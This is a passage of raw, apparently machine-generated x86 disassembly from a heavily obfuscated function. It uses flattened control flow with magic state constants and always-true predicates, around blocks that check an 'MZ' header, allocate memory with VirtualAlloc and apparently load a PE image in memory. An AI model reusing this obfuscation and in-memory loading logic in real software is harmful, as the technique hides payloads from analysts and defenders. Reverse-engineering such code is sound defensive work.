jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a8fd73c
mov ecx, 0x380b8121
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3d5567fa
jg 0x10109e7b
cmp eax, 0x3c3d9194
jg 0x1010abef
cmp eax, 0x3b5f4ba0
je 0x1010c19e
cmp eax, 0x3c398dbc
jne 0x101077d9
mov eax, 0x18851df8
jmp 0x101077d9
cmp eax, 0x84666222
jg 0x1010ac2f
cmp eax, 0x83bcdc68
je 0x1010c1b4
cmp eax, 0x83d35ce5
jne 0x101077d9
mov eax, 0x52580ee6
jmp 0x101077d9
cmp eax, 0x46837b14
jg 0x1010ac6f
cmp eax, 0x45a1e384
je 0x1010c1de
cmp eax, 0x46675a3a
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c7b669d
mov ecx, 0x298f9441
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xbe936ac8
jg 0x1010acda
cmp eax, 0xbdddfcb3
je 0x1010c1e8
cmp eax, 0xbe59e886
jne 0x101077d9
mov eax, 0xa9d32be1
jmp 0x101077d9
cmp eax, 0xffbe2164
jg 0x1010acfa
cmp eax, 0xfdda5acb
je 0x1010c212
cmp eax, 0xfe590374
jne 0x101077d9
mov eax, 0x450aab6d
jmp 0x101077d9
cmp eax, 0x9c0ac4fc
jg 0x1010ad3a
cmp eax, 0x9a9ae038
je 0x1010c23c
cmp eax, 0x9b38b1e6
jne 0x101077d9
mov eax, 0x61da49c6
jmp 0x101077d9
cmp eax, 0x64737138
jg 0x1010ad85
cmp eax, 0x642640d2
je 0x1010c266
cmp eax, 0x64272501
jne 0x101077d9
mov eax, 0x24d098b1
jmp 0x101077d9
cmp eax, 0xd833686d
jg 0x1010adc5
cmp eax, 0xd7fef1b9
je 0x1010c270
cmp eax, 0xd81ab950
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fe4c3da
mov ecx, 0x175a4eff
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2480ed3a
jg 0x1010ae05
cmp eax, 0x234e4916
je 0x1010c29a
cmp eax, 0x23695b94
jne 0x101077d9
mov ecx, dword [esp + 4]
call fcn.10114d48
mov eax, 0xd0c63cbf
jmp 0x101077d9
cmp eax, 0x8f64b433
jg 0x1010ae45
cmp eax, 0x8e8ebe56
je 0x1010c2b9
cmp eax, 0x8efa9085
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf8d6cb5a
mov ecx, 0xe56d696b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x58ce49ea
jg 0x1010ae85
cmp eax, 0x57e08e69
je 0x1010c2e3
cmp eax, 0x58895edd
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec2a19a
mov ecx, 0xc8c1ae0e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xcbc4bdc6
jg 0x1010aec5
cmp eax, 0xcb8a6894
je 0x1010c30d
cmp eax, 0xcb978ac3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x934cda44
mov ecx, 0x5ddee0ef
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x15a78449
jg 0x1010af09
cmp eax, 0x143e17ea
je 0x1010c317
cmp eax, 0x14415ddb
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3683dd51
mov ecx, 0xc543b17c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa9d32be0
jg 0x1010af49
cmp eax, 0xa9c0a096
je 0x1010c321
cmp eax, 0xa9c62fa5
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68e576ce
mov ecx, 0x83bcdc68
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x735e24da
jg 0x1010af69
cmp eax, 0x728d0e57
je 0x1010c34b
cmp eax, 0x72bd2425
jne 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, 0x311994c8
jmp 0x101077d9
cmp eax, 0xe8dbe813
jg 0x1010afa9
cmp eax, 0xe83c7f96
je 0x1010c355
cmp eax, 0xe8577e70
jne 0x101077d9
mov ecx, dword [esp + 4]
call fcn.1011e258
mov eax, dword [esp + 0x38]
mov eax, dword [eax]
add eax, 0x28
mov dword [esp + 0x50], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ef28c07
mov ecx, 0x8f7e36e9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x31b2b442
jg 0x1010afe9
cmp eax, 0x311994c8
je 0x1010c376
cmp eax, 0x31a3b6d3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe7ab3eaf
mov ecx, 0xc88b3bc6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x89cbf39e
jg 0x1010b033
cmp eax, 0x894be1dd
je 0x1010c3a4
cmp eax, 0x89c8f0ea
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbfc9f08e
mov ecx, 0x8a574cf4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x50a3790b
jg 0x1010b073
cmp eax, 0x508107f6
je 0x1010c3ba
cmp eax, 0x50a15921
jne 0x101077d9
mov eax, 0xcda01b61
jmp 0x101077d9
cmp eax, 0xc81bb8fb
jg 0x1010b093
cmp eax, 0xc6453659
je 0x1010c3e4
cmp eax, 0xc725001a
jne 0x101077d9
mov eax, 0x8a16efd3
jmp 0x101077d9
cmp eax, 0xa8b3cc1
jg 0x1010b0dd
cmp eax, 0x99fcbb9
je 0x1010c3f2
cmp eax, 0xa3720a0
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a37d12a
mov ecx, 0x5f4d99e9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa44438d3
jg 0x1010b11d
cmp eax, 0xa3023de4
je 0x1010c41c
cmp eax, 0xa3f12e3e
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x894be1dd
mov ecx, 0xc118b60a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x6b3e7b6a
jg 0x1010b15d
cmp eax, 0x6a7dc9e5
je 0x1010c45d
cmp eax, 0x6b3b06b5
jne 0x101077d9
mov eax, 0x63f01774
jmp 0x101077d9
cmp eax, 0xe2039074
jg 0x1010b17d
cmp eax, 0xe1a97897
je 0x1010c467
cmp eax, 0xe1f9eb1b
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb14108ae
mov ecx, 0xb3e8ba38
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2ae04956
jg 0x1010b1bd
cmp eax, 0x2a8fd73c
je 0x1010c491
cmp eax, 0x2ab9b7ef
jne 0x101077d9
mov eax, dword [esp + 0x58]
push 0
push 1
push dword [esp + 8]
call eax
mov eax, 0x7a879cae
jmp 0x101077d9
cmp eax, 0x96d0298e
jg 0x1010b1ea
cmp eax, 0x9625ced5
je 0x1010c49b
cmp eax, 0x96715e3c
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe590374
mov ecx, 0x450aab6d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5e494479
jg 0x1010b237
cmp eax, 0x5ddee0ef
je 0x1010c4c5
cmp eax, 0x5e425825
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbe59e886
mov ecx, 0xa9d32be1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd1cdecd7
jg 0x1010b257
cmp eax, 0xd0c63cbf
je 0x1010c4ef
cmp eax, 0xd1abb6d2
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c6f2840
mov ecx, 0xdfa96077
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x1dd1271a
jg 0x1010b277
cmp eax, 0x1b264179
je 0x1010c522
cmp eax, 0x1dccc721
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72767ff5
mov ecx, 0x221c47e7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb5fb0401
jg 0x1010b2bb
cmp eax, 0xb3e8ba38
je 0x1010c52c
cmp eax, 0xb48aa4a4
jne 0x101077d9
mov eax, 0x28de588f
jmp 0x101077d9
cmp eax, 0x7b4686de
jg 0x1010b2db
cmp eax, 0x7a879cae
je 0x1010c556
cmp eax, 0x7b2fefee
jne 0x101077d9
mov eax, dword [esp + 0x44]
cmp eax, 0x5a4d
setne byte [esp + 0x20]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x656ea258
mov ecx, 0x2233ca75
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf5bbb1ee
jg 0x1010b2ff
cmp eax, 0xf4156ba4
je 0x1010c58e
cmp eax, 0xf4727d87
jne 0x101077d9
mov eax, 0xf1c06e0b
jmp 0x101077d9
cmp eax, 0x42de3c47
jg 0x1010b34c
cmp eax, 0x4144d8ca
je 0x1010c5b8
cmp eax, 0x42665307
jne 0x101077d9
mov eax, dword [esp + 0x34]
mov dword [eax], 1
mov eax, 0x33c4bd0a
jmp 0x101077d9
cmp eax, 0x8774dfd0
jg 0x1010b38c
cmp eax, 0x873f774c
je 0x1010c5e2
cmp eax, 0x87723cfc
jne 0x101077d9
cmp byte [esp + 0x22], 0
mov eax, 0xf9670223
mov ecx, 0x848cf408
cmovne eax, ecx
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x60], ecx
jmp 0x101077d9
cmp eax, 0x4c58066a
jg 0x1010b3ac
cmp eax, 0x4a37d12a
je 0x1010c5ec
cmp eax, 0x4a608fa7
jne 0x101077d9
mov ecx, dword [esp + 4]
call fcn.10114d48
mov eax, 0x22b4f44b
jmp 0x101077d9
cmp eax, 0xc1b9984e
jg 0x1010b3ec
cmp eax, 0xc118b60a
je 0x1010c5f6
cmp eax, 0xc166ab0a
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8c398b88
mov ecx, 0x972e187b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2b35503
jg 0x1010b40c
cmp eax, 0x142ca56
je 0x1010c62c
cmp eax, 0x225fdf9
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44dfeabd
mov ecx, 0x9c0ac4fd
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa0ad4510
jg 0x1010b450
cmp eax, 0xa05f0e3f
je 0x1010c636
cmp eax, 0xa0875436
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4013e8b4
mov ecx, 0xf247e290
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x688b7dba
jg 0x1010b490
cmp eax, 0x682c062a
je 0x1010c640
cmp eax, 0x683580be
jne 0x101077d9
mov eax, 0x3f56a947
jmp 0x101077d9
cmp eax, 0xdc96a3a6
jg 0x1010b4b0
cmp eax, 0xdc444ae9
je 0x1010c66a
cmp eax, 0xdc8d7e42
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd7ab207e
mov ecx, 0x4c8c4d5a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2830bb7e
jg 0x1010b4d0
cmp eax, 0x268e7fb9
je 0x1010c694
cmp eax, 0x27a35631
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb9c9406
mov ecx, 0xa8873537
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x9395a415
jg 0x1010b4f0
cmp eax, 0x920a8c9c
je 0x1010c69e
cmp eax, 0x934cda44
jne 0x101077d9
mov eax, 0x5ddee0ef
jmp 0x101077d9
cmp eax, 0x5cdeea87
jg 0x1010b530
cmp eax, 0x5c886d94
je 0x1010c6c8
cmp eax, 0x5cc03b94
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97a7a1f1
mov ecx, 0x8a6f2dea
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xce6f3725
jg 0x1010b570
cmp eax, 0xcd87e6d9
je 0x1010c6f2
cmp eax, 0xcda01b61
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50a15921
mov ecx, 0x52b89b95
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x18058775
jg 0x1010b5b0
cmp eax, 0x175a4eff
je 0x1010c71c
cmp eax, 0x176dae03
jne 0x101077d9
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x3c]
call fcn.10110e89
mov eax, 0xf663d92a
jmp 0x101077d9
cmp eax, 0xb1000aba
jg 0x1010b5f0
cmp eax, 0xaf24b250
je 0x1010c746
cmp eax, 0xb02b0600
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6044be5
mov ecx, 0x2992e5e2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x777dd640
jg 0x1010b630
cmp eax, 0x766f1e79
je 0x1010c770
cmp eax, 0x770933e1
jne 0x101077d9
mov eax, dword [esp + 0x34]
mov dword [eax], 1
mov eax, 0xfbb1f889
jmp 0x101077d9
cmp eax, 0xf1c06e0a
jg 0x1010b681
cmp eax, 0xeecb13d6
je 0x1010c79a
cmp eax, 0xef9727a3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ca2a71f
mov ecx, 0xc96c3f09
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3ac9e834
jg 0x1010b6c1
cmp eax, 0x3946d953
je 0x1010c7cb
cmp eax, 0x39682d4f
jne 0x101077d9
mov eax, 0xa14b336b
jmp 0x101077d9
cmp eax, 0x8bb00621
jg 0x1010b6e8
cmp eax, 0x8b8cb4dc
je 0x1010c7f5
cmp eax, 0x8b970031
jne 0x101077d9
mov eax, 0x650eb565
jmp 0x101077d9
cmp eax, 0x54dd40ab
jg 0x1010b728
cmp eax, 0x52b89b95
je 0x1010c7ff
cmp eax, 0x54c2c02b
jne 0x101077d9
mov eax, 0xb3cc2054
jmp 0x101077d9
cmp eax, 0xc9ad355f
jg 0x1010b748
cmp eax, 0xc9925cba
je 0x1010c829
cmp eax, 0xc9aabc31
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb8a6894
mov ecx, 0x7db54c70
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xe6b46aa
jg 0x1010b770
cmp eax, 0xdf6922f
je 0x1010c853
cmp eax, 0xe079f9f
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b38b1e6
mov ecx, 0x61da49c6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa7d9a11c
jg 0x1010b790
cmp eax, 0xa75e72bf
je 0x1010c87d
cmp eax, 0xa7be0eef
jne 0x101077d9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
xor esi, esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [esp]
mov dword [edi + 4], eax
mov dword [edi + 0xc], esi
mov dword [edi + 8], esi
mov dword [edi + 0x10], esi
mov eax, dword [esp + 0x10]
mov ecx, 4
push ecx
mov ebp, 0x1000
push ebp
push dword [eax]
push dword [esp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call ebx
mov esi, dword [esp + 0x28]
mov eax, 4
push eax
push ebp
push dword [esi + 0x3c]
push dword [esp + 0xc]
call ebx
mov ebx, eax
mov eax, dword [esp + 8]
mov ecx, dword [esi + 0x3c]
add ecx, dword [eax]
push ecx
mov esi, dword [esp + 0x88]
push esi
push ebx
call fcn.1014bf80
add esp, 0xc
mov eax, dword [esp + 8]
mov eax, dword [eax]
lea ecx, [ebx + eax]
mov dword [edi], ecx
mov ecx, dword [esp]
mov dword [ebx + eax + 0x34], ecx
mov edx, dword [esp + 0xc]
mov ecx, esi
push edi
call fcn.1010db48
add esp, 4
mov eax, dword [esp + 0x18]
mov eax, dword [esp]
mov eax, 0x9a6a3160
jmp 0x101077d9
cmp eax, 0x706da8be
jg 0x1010b7b0
cmp eax, 0x7020ef9f
je 0x1010c887
cmp eax, 0x70429d58
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e1c7aa7
mov ecx, 0x93c1f031
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xe6b8c9d8
jg 0x1010b7d8
cmp eax, 0xe68c0a07
je 0x1010c8b1
cmp eax, 0xe68eb578
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb73e1f21
mov ecx, 0xc1b9984f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2d30ebe4
jg 0x1010b7f8
cmp eax, 0x2caeaa9a
je 0x1010c8db
cmp eax, 0x2cde8607
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b35504
mov ecx, 0x6090dba9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x9975c6f6
jg 0x1010b838
cmp eax, 0x98643a7c
je 0x1010c905
cmp eax, 0x99018ad3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2395749
mov ecx, 0xe079f9f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x61da49c5
jg 0x1010b858
cmp eax, 0x6090dba9
je 0x1010c92f
cmp eax, 0x61434fa1
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eed1cb7
mov ecx, 0x567403e7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd6392cf5
jg 0x1010b878
cmp eax, 0xd577e10a
je 0x1010c959
cmp eax, 0xd6044be5
jne 0x101077d9
mov eax, 0xb02b0600
jmp 0x101077d9
cmp eax, 0x221c47e6
jg 0x1010b8b8
cmp eax, 0x20d2b907
je 0x1010c983
cmp eax, 0x215dc1b9
jne 0x101077d9
mov eax, 0x5be69c0f
jmp 0x101077d9
cmp eax, 0xb9cc1038
jg 0x1010b8f8
cmp eax, 0xb899826d
je 0x1010c98d
cmp eax, 0xb8b53018
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x134fc16b
mov ecx, 0x7b4686df
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7ee5d099
jg 0x1010b938
cmp eax, 0x7e84017a
je 0x1010c9b7
cmp eax, 0x7ea311db
jne 0x101077d9
mov eax, 0xfdda5acb
jmp 0x101077d9
cmp eax, 0xfa204373
jg 0x1010b95c
cmp eax, 0xf9670223
je 0x1010c9e1
cmp eax, 0xfa109b08
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x83d35ce5
mov ecx, 0x52580ee6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3e8a2efb
jg 0x1010b97c
cmp eax, 0x3d5567fb
je 0x1010ca12
cmp eax, 0x3e1c7aa7
jne 0x101077d9
mov eax, 0x93c1f031
jmp 0x101077d9
cmp eax, 0x81220073
je 0x1010ca3c
cmp eax, 0x8163d61b
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcd2b2552
mov ecx, 0xdf6922f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x450aab6d
je 0x1010ca66
cmp eax, 0x456094af
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb7b3fd7
mov ecx, 0x18851df8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xbcbca647
je 0x1010ca90
cmp eax, 0xbd52c4a8
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d54af63
mov ecx, 0xa6479ec1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xfc20cda9
je 0x1010caa2
cmp eax, 0xfd7e1e93
jne 0x101077d9
mov eax, 0xd357c29e
jmp 0x101077d9
cmp eax, 0x9a6a3160
je 0x1010cab0
cmp eax, 0x9a6da628
jne 0x101077d9
mov eax, 0xcabc3954
jmp 0x101077d9
cmp eax, 0x63f01774
je 0x1010cb73
cmp eax, 0x6405b772
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe4484363
mov ecx, 0x9a032851
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd7749c60
je 0x1010cb9d
cmp eax, 0xd7ab207e
jne 0x101077d9
mov eax, 0x4c8c4d5a
jmp 0x101077d9
cmp eax, 0x22b4f44b
je 0x1010cba7
cmp eax, 0x22ee5b47
jne 0x101077d9
mov eax, dword [esp + 0x54]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5dde6735
mov ecx, 0x6b3b06b5
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x8e03a457
je 0x1010cbe1
cmp eax, 0x8e79c268
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5506565f
mov ecx, 0xe9a42202
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x567403e7
je 0x1010cbef
cmp eax, 0x56edc930
jne 0x101077d9
mov eax, 0xa3720a0
jmp 0x101077d9
cmp eax, 0xcb31c427
je 0x1010cc26
cmp eax, 0xcb7b3fd7
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86225a7a
mov ecx, 0xb37df94d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x13fa4f22
je 0x1010cc71
cmp eax, 0x143002d7
jne 0x101077d9
mov eax, 0x5db96069
jmp 0x101077d9
cmp eax, 0xa8b68f64
je 0x1010cc9b
cmp eax, 0xa97a8dc3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x176dae03
mov ecx, 0xf663d92a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x724283b9
je 0x1010ccb2
cmp eax, 0x72767ff5
jne 0x101077d9
mov eax, 0x1dccc721
jmp 0x101077d9
cmp eax, 0xe7a9c263
je 0x1010ccdc
cmp eax, 0xe7ab3eaf
jne 0x101077d9
push 4
push 0x2000
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0xc88b3bc6
jmp 0x101077d9
cmp eax, 0x307677bb
je 0x1010cd06
cmp eax, 0x30883557
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb9c9406
mov ecx, 0x99fcbb9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x892568ab
je 0x1010cd34
cmp eax, 0x89492f96
jne 0x101077d9
mov eax, 0x724283b9
jmp 0x101077d9
cmp eax, 0x4e94b794
je 0x1010cd5e
cmp eax, 0x4fe4c3da
jne 0x101077d9
mov eax, 0x175a4eff
jmp 0x101077d9
cmp eax, 0xc44d9695
je 0x1010cd68
cmp eax, 0xc543b17c
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3683dd51
mov ecx, 0x143e17ea
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7100e50
je 0x1010cd72
cmp eax, 0x85b24df
jne 0x101077d9
mov eax, dword [esp + 0x50]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ee5d09a
mov ecx, 0x15a7844a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa1e53523
je 0x1010cd80
cmp eax, 0xa2c208fa
jne 0x101077d9
mov eax, 0x7db03a15
jmp 0x101077d9
cmp eax, 0x69cfda30
je 0x1010cd8a
cmp eax, 0x6a0389ef
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6392cf6
mov ecx, 0x9625ced5
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xe06a54e2
je 0x1010cdb4
cmp eax, 0xe07408d5
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8c398b88
mov ecx, 0x8bb00622
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2992e5e2
je 0x1010cdd5
cmp eax, 0x2a8f8713
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e6673
mov ecx, 0xa3720a0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x959c80cb
je 0x1010cdff
cmp eax, 0x961e1517
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa75e72bf
mov ecx, 0x54dd40ac
cmove eax, ecx
